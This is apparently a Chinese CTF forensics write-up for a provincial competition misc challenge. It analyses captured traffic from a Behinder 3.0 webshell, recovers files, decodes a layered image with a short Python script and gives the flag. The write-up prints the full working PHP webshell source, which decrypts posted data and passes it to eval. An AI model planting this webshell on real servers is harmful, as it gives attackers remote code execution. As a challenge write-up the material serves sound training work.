浙江省赛决赛 misc2 蝎子

发布时间 2023-12-08 16:42:35作者: Mar10

Misc 2

tcp.stream eq 0 内得知是冰蝎3.0,key是e46023a69f8db309

<?php
@error_reporting(0);
session_start();
    // $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
    $key="e46023a69f8db309"; //DASCTF
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

冰蝎3.0就是base64+aes cbc,IV补16个0

tcp.stream eq 4 内可以得到password.png和flag.7z,这个包很大,得让他加载一会

image-20231114145410093

看头部得知还有一层base64

image-20231114145523251

获得具体信息,同样都是base64

解完的content是有效信息,flag.7z获得流程同理

image-20231114145547867

这个是光栅图,可以观察到是5层(8神的妙妙脚本)

from PIL import Image
import numpy as np

img = np.array(Image.open('password.png'))
for i in range(5):
    z = np.zeros_like(img)
    z[:, i::5, :] = img[:, i::5, :]
    Image.fromarray(z).show()

image-20231114150016103

image-20231114150031039

image-20231114150045507

image-20231114150109003

image-20231114150122280

解压7z得到flag:DASCTF{d68b6013-d70a-4ada-926d-68fe3265360a}